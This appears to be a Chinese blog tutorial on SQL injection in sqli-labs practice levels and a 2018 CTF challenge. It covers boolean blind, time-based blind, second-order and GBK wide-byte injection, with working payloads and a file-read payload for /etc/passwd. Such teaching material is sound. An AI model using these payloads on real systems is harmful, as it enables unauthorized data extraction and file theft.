sql注入(二)盲注,二次注入,宽字节注入

news2024/11/26 3:43:20

目录

目录

一、布尔盲注

1.判断库名的长度

 2.判断数据库名

2.1判断数据库名首字符

 2.2 判断数据库名的其余字符

二、时间盲注:

1.判断库名的长度

2.判断库名:

3.判断表名payload:

4.爆出列名

5.爆数据

三、二次注入

1.原理:

2. 关卡分析

2.1 登陆界面

 源码分析:

2.2 修改密码界面

 源码分析:

2.3 用户注册界面

 源码分析:

3. 开始二次注入

 注入思路:

4. 检测

登陆检测

注意一点:

二次注入实例二、 

1源码恢复

 2. 登陆界面弱口令爆破

3. 分析源码

 4.开始二次注入

4.1 注入思路

注入后的语句

4.2 第一次注入

4.2 第二次注入

 注入结果:

注意一点:

四、宽字节注入

1.前言:

2.注入原理

注意:GB2312与GBK的不同



盲注分为:布尔盲注、时间盲注

一、布尔盲注

相较于显错注入,反应会更隐晦,比如当执行的恶意语句条件为False时(如and 1=2),页面会变得异常,如页面突然没了数据,当条件为True时,页面又会恢复正常。并不会看到像显错注入那样明显的语句回显,这样的注入,通过条件猜测数据库的内容

关键函数:lentgh()  ascii()  substr()

布尔盲注的做法

  1. 使用 length()函数 判断查询结果的长度
  2. 使用 substr()函数 截取每一个字符,并穷举出字符内容

我们这里用sqli-labs-master靶场的第五关来测试

1.判断库名的长度

payload:

?id=1' and length(database())>8--+

 结果:

回显为空说明判断错误

 payload:

?id=1' and length(database())=8--+

结果: 

  存在正确回显说明判断正确,数据库名长度为8

 2.判断数据库名

2.1判断数据库名首字符

payload:

?id=1' and ascii(substr(database(),1,1))=115--+
#通过substr函数截取数据库的第一个字符并判断其ascii码是否为115(字母 s)

 结果:

 2.2 判断数据库名的其余字符

?id=1' and ascii(substr(database(),2,1))=101--+

  其余操作相同故不再赘述。最后得到表名:security

同理可爆出表名和数据

?id=1' and if(ascii(substr(user(),1,1))=114--+
#(substr(user(),1,1):截取user函数的第一个字符。(114为r)

一般这种情况下储存的就是root权限内容

二、时间盲注:

适用于页面不会返回错误信息,只会回显一种界面,其主要特征是利用sleep函数,制造时间延迟,由回显时间来判断是否为数据库数据。

 关键函数:if()  lentgh()  ascii()  substr() sleep()

我们这里用sqli-labs-master靶场的第九关来测试

1.判断库名的长度

payload:

?id=1' and if(length(database())>8,sleep(3),0)--+

 结果:

页面未进行3秒延迟响应,证明所请求的数据为假。

payload:

?id=1' and if(length(database())=8,sleep(3),0)--+

结果: 

 这里请求延迟了3秒,证明请求的数据为真。

2.判断库名:

payload:

?id=1' and if(ascii(substr(database(),1,1))=115,sleep(3),0)--+

结果:

 延迟3秒证明数据库名的第一个字符为“s”

payload:

?id=1' and if(ascii(substr(database(),2,1))=101,sleep(3),0)--+

  延迟3秒证明数据库名的第二个字符为“e”

由上可知数据库名的长度为8,经过8次检测数据库的名字为:“security”

3.判断表名
payload:

?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit x,y),z,d))=e,sleep(1),0)–-+
# x:第x+1个列,y:x+1个列往后y个单位,z:x+1列的第一个字母,d:第一个字母往后的第z个单位, e:字符对应的ascii码的长度。

例:爆出security数据库下第一个表的第一个字符

payload:

?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,sleep(3),0)--+

 结果:

延时成功,第一个表的第一个字符为e,经查第一个表名为:emails

爆出security数据库下第四个表的第一个字符

payload:

?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),1,1))=117,sleep(3),0)--+

结果:

这里延迟注入成功,第四个表的第一个字符为u,经查证第四个表的表名为users,此表就是我们要找的用户表。

 注意这里爆出表名时最好使用 information_schema.tables 爆出表明,不要使用 information_schema.columns 表爆出表名原因:

 使用 information_schema.columns 查询表名时会出现重复表名, information_schema.tables 爆出表明只会出现单一的表名。

4.爆出列名

payload:

?id=1' and If(ascii(substr((select column_name from information_schema.columns where table_name='指定表名' and table_schema=database() limit x,y),z,d))=e,sleep(3),1)–-+
x:第x+1个列,y:x+1个列往后y个单位,z:x+1列的第一个字母,d:第一个字母往后的第z个单位

例:爆出security数据库下user表第一个列的第一个字符

?id=1' and If(ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),1,1))=105,sleep(3),1)–+

结果:

延迟成功,说明第一例的列名为:‘i’

其余的操作都相同,故这里不再赘述。

5.爆数据

?id=1' and If(ascii(substr((select 列名 from users limit x,y),z,d))=e,sleep(2),1)--+

三、二次注入

1.原理:

主要分两步,第一步就是进行数据库插入数据的时候,仅仅对其中的特殊字符进行了转义,但是数据库保存的数据仍然具有恶意内容。第二步就是在下一次进行数据的查询过程中,直接从数据库中取得恶意数据(开发者认为数据是可信的),这样就造成了SQL的二次注入。

即第一次注入是将恶意代码通过正常方式注入到数据库当中(通过注册框将含有恶意语句的用户注入到数据库的用户表内)。

第二次注入直接从数据库中取得恶意数据对原本数据库内的数据进行改变。

这里用sqli-labs-master靶场的第24关来测试举例:

2. 关卡分析

2.1 登陆界面

 源码分析:

将接收到的用户及密码内容转交给login.php 文件

 在login.php 文件中将所输入的用户及密码中的内容通过mysql_real_escape_string进行过滤。

mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。

下列字符受影响:

  • \x00
  • \n
  • \r
  • \
  • '
  • "
  • \x1a

之后将过滤的内容传到数据库,再进行数据库users表的查询看是否存储到users表中。

 

查询后没问题就将未过滤的username写入session,之后就跳转到 logged-in.php文件中。(此文件主要负责修改密码)

2.2 修改密码界面

 源码分析:

 首先判断session是否存在,如果不存在需要你在index.php文件中重新登录,之后将接收到的原密码和修改后的密码用mysql_real_escape_string函数进行过滤,再使用sql语句将密码在数据库中修改。

2.3 用户注册界面

 源码分析:

 这里将输入的新用户及密码同样进行了过滤,之后使用sql语言进行查询判断。

3. 开始二次注入

首先查看用户表我们用admin用户作为注入点写入恶意代码。

 注入思路:

在注册时使用 admin'# 为用户名进行注册,之后在修改 admin’# 密码时由于修改语句为:

UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass'
这里的 $username 为admin'#会出现以下结果:
UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass'
这里可以看到引号将用户 admin 闭合且用#将之后的语句全部注释掉,所以修改密码时只能通过用户名来进行查找并修改,改密码时前面的用户名变成了admin,顺势就将用户名为admin的用户密码在数据库中进行了修改。

第一次注入:我们先通过注册界面通过用户信息将恶意数据注册到数据库中。

 登陆查看用户信息是否注入成功

 第二次注入:修改密码时直接从数据库中取得恶意用户数据,对原本数据库内的数据进行更改。

 修改用户admin'#的密码看用户admin的密码是否会被修改,这里将admin'#的密码修改为666666

4. 检测

查看数据库的内容:

 发现用户 admin'# 的密码未被修改,但用户 admin 的密码被修改,注入成功。

登陆检测

登陆成功,证明admin的密码确实被修改,注入成功。 

注意一点:

在注册时 username 已经被 mysql_real_escape_string 函数过滤过一遍为什么还会注入成功呢?

原因在注入时 admin'# 会被函数转译为 admin\'# 会导致注入失败,但是当 admin\'# 进入数据库是转义符 \ 会被丢弃导致注入成功。

二次注入实例二、 

这里的示例为 网鼎杯 2018 Comment二次注入下载地址为:GitHub - CTFTraining/wdb_2018_comment: 网鼎杯 2018 Comment

1源码恢复

首先需要知道漏洞源码来分析漏洞类型, 我们可以通过扫描根目录查看是否有源码。

这里我们使用了扫描工具:airmap

扫描结果:

 程序中存在git有可能已经被提交,但我们查看到网页提示文档未进行commit,即其程序的内容还被保留在本地的缓存中,所以我们要先回复一下git泄漏的文件,这里我们使用githacker进行恢复。

 恢复后的文件

//write_do.php
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
    header("Location: ./login.php");
    die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
    $category = addslashes($_POST['category']);
    $title = addslashes($_POST['title']);
    $content = addslashes($_POST['content']);
    $sql = "insert into board
            set category = '$category',
                title = '$title',
                content = '$content'";
    $result = mysql_query($sql);
    header("Location: ./index.php");
    break;
case 'comment':
    $bo_id = addslashes($_POST['bo_id']);
    $sql = "select category from board where id='$bo_id'";
    $result = mysql_query($sql);
    $num = mysql_num_rows($result);
    if($num>0){
    $category = mysql_fetch_array($result)['category'];
    $content = addslashes($_POST['content']);
    $sql = "insert into comment
            set category = '$category',
                content = '$content',
                bo_id = '$bo_id'";
    $result = mysql_query($sql);
    }
    header("Location: ./comment.php?id=$bo_id");
    break;
default:
    header("Location: ./index.php");
}
}
else{
    header("Location: ./index.php");
}
?>

这里的write和comment分别对应发帖和留言界面 可以看到所有参数都进行了addslashes函数处理

 2. 登陆界面弱口令爆破

 我们在注入时突然弹出用户登陆框不过这里的用户名、及一部分密码已经给出,方便起见我们使用burp进行弱口令爆破,这里不赘述。

爆破出来用户密码结果为:zhangwei666

3. 分析源码

case 'write':
    $category = addslashes($_POST['category']);
    $title = addslashes($_POST['title']);
    $content = addslashes($_POST['content']);
    $sql = "insert into board
            set category = '$category',
                title = '$title',
                content = '$content'";
    $result = mysql_query($sql);
    header("Location: ./index.php");
    break;

这里为发帖框源码,可以看到这里接收的title、category、content函数均被addslashes过滤 ,所以无法在此处进行直接注入。之后将过滤的内容插入到board表中。

addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。

预定义字符是:

  • 单引号  '
  • 双引号  "
  • 反斜杠  \
  • NULL

case 'comment':
    $bo_id = addslashes($_POST['bo_id']);
    $sql = "select category from board where id='$bo_id'";
    $result = mysql_query($sql);
    $num = mysql_num_rows($result);
    if($num>0){
    $category = mysql_fetch_array($result)['category'];
    $content = addslashes($_POST['content']);
    $sql = "insert into comment
            set category = '$category',
                content = '$content',
                bo_id = '$bo_id'";
    $result = mysql_query($sql);
    }
    header("Location: ./comment.php?id=$bo_id");
    break;

 这里为留言框源码,content 主要是用来接收留言板输入的内容。

 $category = mysql_fetch_array($result)['category'];主要看这段语句表示将插入到数据库的语句重新拿出来使用,这样的话我们就可以进行二次注入,所以他的注入点就在 $sql 插入数据库语句的这一部分。

 4.开始二次注入

4.1 注入思路

我们通过源码可知 $category = mysql_fetch_array($result)['category']; 这段是将之前存入到数据库$category的数据重新拿出来使用。而且下面插入数据库的语句:

 $sql = "insert into comment
            set category = '$category',
                content = '$content',
                bo_id = '$bo_id'";

刚好就将 $category 数据直接使用,我们知道 $category 中的数据是通过之前的发帖框中由用户直接发帖输入的,所以 $category 数据可以作为第一次注入的注入点将恶意语句直接进行注入。

我们再看他插入数据库的语句的顺序,首先是被调用的 category 恶意语句,然后是留言框输入的content中的内容,之后是 bo_id字段。

注入思路是通过输入的 category 字段的内容在第二次注入时从数据库中调用将 contet 字段仿造改写成注入语句,并将原本的 contet 字段注释掉。

 $sql = "insert into comment
            set category = '$category',   在第一次注入时将category写成 ',content =注入语句,/*
                content = '$content', 在第二次从留言板注入时使用 */# 将前后语句都注释掉只留下注入语句。
                bo_id = '$bo_id'"; 

注入后的语句

insert into comment
       set category = ' ',content=user(),/*',
           content = '*/#',
           bo_id = '$bo_id'";

4.2 第一次注入

首先在 $category 中插入放仿写 content 的恶意语句

 结果:

 这里可以看到仿写的 content 语句已经成功被提交且被存放在数据库中。

4.2 第二次注入

',content=(select(load_file("/etc/passwd"))),/*

 注入结果:

 这里成功得到了用户信息,证明将 content 字段仿写成功,注入成功。

我们还可以读取password:

payload:

',content=(select(load_file("/etc/passwd"))),/*

结果:

以此类推,我们还可以查询到数据库的其他信息,这里就不再做演示。

注意一点:

我们输入的信息全部被addslashes函数过滤了一遍为什么还可以注入成功呢?

先addslashes转义存入数据库,数据库会将转义符丢弃,再从数据库中调用数据就是不带转义符的数据,故注入成功。

四、宽字节注入

1.前言:

宽字节:在了解宽字节注入之前,我们要了解一下什么是宽字节,相对于单字节,我们引入一个字符数大小为两个字节的为宽字节,比如GBK编码,我们汉字通常使用的就是GBK编码,也就是说一次性会读取两个字节。

在mysql中,用于过滤payload的转义函数(即在字符串中的符号前加上”\”)有addslashes,mysql_real_escape_string,mysql_escape_string等,还有一种情况是magic_quote_gpc,不过高版本的PHP将去除这个特性。

那我们该如何绕过过滤函数呢?

* 想办法给\前面再加一个\(或单数个即可),变成\\',这样\被转义了,'逃出了限制

* 想办法把\去掉

2.注入原理

产生宽字节注入的原因涉及了编码转换的问题,当我们的mysql使用GBK编码后,同时两个字符的前一个字符ASCII码大于128时,会将两个字符认成一个汉字,如果存在过滤我们输入的函数(addslashes()、mysql_real_escape_string()、mysql_escape_string()、Magic_quotes_gpc)会将我们的输入进行转义,我们就可以考虑通过宽字节注入转汉字的方法进行过滤。

例:

注入时 ' 会被转义字符转义所以我们可以通过给 ' 前面加上 %df 的方式进行宽字节注入

%df'(%df%27)  ' 被转义字符转义-->%df\' (%df%5c%27) -->  这时由于myaql使用的为GBK编码导致 %df\(%df%5c)会被识别成一个汉字“運” --> 变成  運'  这时 ' 就成功逃逸了出来可以进行注入。

那么mysql怎么判断一个字符是不是汉字,根据gbk编码,第一个字节ascii码大于128,基本上就可以了。比如我们不用%df,用%a1也可以,%a1%5c他可能不是汉字,但一定会被mysql认为是一个宽字符,就能够让后面的%27逃逸了出来。

这里使用 sqli-labs 的33关进行测试

payload

id=-1%df' union select 1,2,3--+

 这里查询的是可以在前台显示的列,注入成功,我们可以看到框住的部分就是宽字节转换成的汉字。

注意:GB2312与GBK的不同

曾经有一个问题一直困扰我很久。

gb2312和gbk应该都是宽字节家族的一员。可以把数据库编码也改成gb2312,注入是不成功的。

为什么,这归结于gb2312编码的取值范围。它的高位范围是0xA1~0xF7,低位范围是0xA1~0xFE,而\是0x5c,是不在低位范围中的。所以,0x5c根本不是gb2312中的编码,所以自然也是不会被去除的。

所以,把这个思路扩展到世界上所有多字节编码,我们可以这样认为:只要低位的范围中含有0x5c的编码,就可以进行宽字符注入。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/477948.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【某软件网络协议分析】

由于网站无法上传附件&#xff0c;本帖子完整内容请点击此处 首先&#xff0c;从coco.apk提取dex文件&#xff0c;利用dex2jar将dex转化为jar&#xff0c;拖到jd-gui中&#xff0c;发现有如下几个可疑点&#xff1a; com.azus.android.tcplogin.CryptUtil.rsaEncrypt com.azus…

MySQL示例数据库(MySQL Sample Databases) 之 Employees 数据库

文章目录 MySQL示例数据库(MySQL Sample Databases) 之 Employees 数据库官方示例数据介绍Employees 数据库Employees 数据库安装Employees 数据库的结构参考 MySQL示例数据库(MySQL Sample Databases) 之 Employees 数据库 官方示例数据介绍 MySQL 官方提供了多个示例数据库…

二叉树及其遍历

文章目录 二叉树树的定义二叉树的定义遍历先序遍历中序遍历后序遍历层次遍历定义队列层次创建二叉树层次遍历 二叉树 树是一种非线性的数据结构&#xff0c;由若干个节点组成&#xff0c;节点之间存在一种父子关系&#xff0c;具有层次结构。二叉树是一种特殊的树结构&#xff…

火遍全网的ChatGPT究竟是什么?

ChatGPT是什么 ChatGPT是一个由OpenAI开发的大型语言模型&#xff0c;基于GPT-3.5架构。它被训练用于自然语言处理和生成任务&#xff0c;可以回答各种问题&#xff0c;包括一般知识、文化、科学、技术、商业、娱乐等方面的问题。ChatGPT可以进行对话&#xff0c;回答用户的问…

OJ刷题 第十四篇(递归较多)

23204 - 进制转换 时间限制 : 1 秒 内存限制 : 128 MB 将一个10进制数x(1 < x < 100,000,000)转换成m进制数(2< m < 16) 。分别用 ABCDEF表示10以上的数字。 输入 x m (1 < x < 100,000,000, 2< m < 16) 输出 m进制数 样例 输入 31 16 输出 1F 答…

功能齐全的 ESP32 智能手表,具有多个表盘、心率传感器硬件设计

相关设计资料下载ESP32 智能手表带心率、指南针设计资料(包含Arduino源码+原理图+Gerber+3D文件).zip 介绍 我们调查了智能手表项目的不同方面,并学会了集成和测试每个单独的部分。在本文中,我们将使用所学知识,结合使用硬件和软件组件,从头开始创建我们自己的智能手表。在…

存储资源调优技术——SmartDedupe智能数据重删、SmartCompression智能数据压缩技术

目录 SmartDedupe智能数据重删技术 SmartCompression智能数据压缩技术 SmartDedupe智能数据重删技术 基本概念 智能数据重删技术 是一种数据缩减技术&#xff0c;通过删除存储系统中的冗余数据块 减少数据占用的物理存储容量&#xff0c;节省存储空间&#xff08;会降低性能&a…

Java 基础入门篇(三)——— 数组的定义与内存原理

文章目录 一、数组的定义1.1 静态初始化数组1.2 动态初始化数组1.3 数组的访问 二、数组的遍历三、数组的内存图 ★3.1 Java 的内存分配3.2 数组的内存图3.3 两个数组变量指向同一个数组对象 四、数组使用的常见问题补充&#xff1a;随机数 Random 类 一、数组的定义 数组就是…

线程池~~

文章目录 线程池线程池实现API、参数说明线程池处理Runnable任务线程池处理Callable任务Executors工具类实现线程池定时器Timer定时器ScheduledExecutorService定时器 并发和并行线程的生命周期 线程池 线程池实现API、参数说明 线程池处理Runnable任务 线程池处理Callable任务…

Win11的两个实用技巧系列之修改c盘大小方法、功能快捷键大全

Win11 c盘无法更改大小什么原因?Win11修改c盘大小方法 有不少朋友反应Win11 c盘无法更改大小是怎么回事&#xff1f;本文就为大家带来了详细的更改方法&#xff0c;需要的朋友一起看看吧 Win11 c卷无法更改大小什么原因&#xff1f;有用户电脑的系统盘空间太小了&#xff0c;…

CTF权威指南 笔记 -第二章二进制文件-汇编原理

C语言的生命是从 源文件开始 的 每条C语言都必须要给翻译成 一系列的低级语言 最后 按照可执行文件格式打包 并且作为二进制文件保存起来 编译原理 我们需要使用编译器 是通过某种语言 等价输出另一个语言 可以分为前端和后端 前端 和机器无关 把源程序分解为组成要素 …

【Android入门到项目实战-- 7.4】—— 如何播放音频和视频

目录 一、播放音频 MediaPlayer的工作流程 具体代码实现 二、播放视频 具体代码实现 学完本篇文章可以收获如何播放音频和视频。 一、播放音频 播放音频需要使用MediaPlayer类实现&#xff0c;它对各种格式的音频文件提供了全面的控制方法&#xff0c;下面是MediaPlayer类…

Android 9.0 原生SystemUI下拉通知栏UI背景设置为圆角背景的定制(二)

1.前言 在9.0的系统rom定制化开发中,在原生系统SystemUI下拉状态栏的通知栏的背景是默认白色四角的背景,由于在产品设计中,需要把四角背景默认改成圆角背景,所以就需要分析系统原生下拉通知栏的每条通知的默认背景,然后通过熟悉systemui的通知栏流程,设置默认下拉状态栏…

ChatGPT探索系列之三:探究ChatGPT的训练、优化和应用方法

文章目录 前言一、ChatGPT训练原理二、采样和微调阶段三、采样和训练奖励模型阶段三、采样和训练奖励模型阶段总结 前言 ChatGPT发展到目前&#xff0c;其实网上已经有大量资料了&#xff0c;博主做个收口&#xff0c;会出一个ChatGPT探索系列的文章&#xff0c;帮助大家深入了…

数据库如何合理生成主键:UUID、雪花算法

目录 1.使用自增主键的弊端 2.主键生成算法 2.1.UUID 2.1.1.概述 2.1.2.JAVA中的UUID 2.2.雪花算法 2.2.1.概述 2.2.2.JAVA中使用雪花算法 1.使用自增主键的弊端 首先在实际工程中我们很少用1&#xff0c;2&#xff0c;3......这样的自增主键&#xff0c;原因如下&…

MRI 成像方法和脉冲序列整理

以下内容为MRI期末复习笔记&#xff0c;仅供复习参考使用。 成像方法 2D重建 反投影重建 傅里叶重建 运用中心截面定理&#xff0c;一个三维物体的二维投影的傅里叶变换精确地等于物体的傅里叶变换的中心截面 上述定理换成二维同理 重建步骤 1、取得投影 P ( r , ϕ ) P(r,…

一招解决ChatGPT对话经常中断问题:KeepChatGPT插件

大家好&#xff0c;我是可夫小子&#xff0c;关注AIGC、读书和自媒体。解锁更多ChatGPT、AI绘画玩法。加&#xff1a;keeepdance&#xff0c;备注&#xff1a;chatgpt&#xff0c;拉你进群。 在访问ChatGPT官网进行聊天时&#xff0c;经常遇到了『与服务器断开』Something wet …

C++语法(22)---- 哈希表的闭散列和开散列

C语法&#xff08;21&#xff09;---- 模拟map和set_哈里沃克的博客-CSDN博客https://blog.csdn.net/m0_63488627/article/details/130354019?spm1001.2014.3001.5501 目录 1.哈希表的介绍 1.stl中的哈希表使用 2.比较 3.哈希的原理 4.哈希映射的方法 1.直接定址法 2.…

FreeRTOS 软件定时器

文章目录 一、软件定时器简介二、定时器服务/Daemon 任务三、单次定时器和周期定时器四、复位软件定时器1. 函数 xTimerReset()2. 函数 xTimerResetFromISR() 五、创建软件定时器1. 函数 xTiemrCreate()2. 函数 xTimerCreateStatic() 六、开启软件定时器1. 函数 xTimerStart()2…

条件构造器Wrapper

本文来说下mybatis-plus中的条件构造器Wrapper 文章目录 条件构造器程序实例 条件构造器 十分重要&#xff1a;Wrapper 我们写一些复杂的sql就可以使用它来替代&#xff01; 程序实例 测试一 Overridepublic List<OrderInfo> getOrderInfo() {// id等于2的数据QueryWrapp…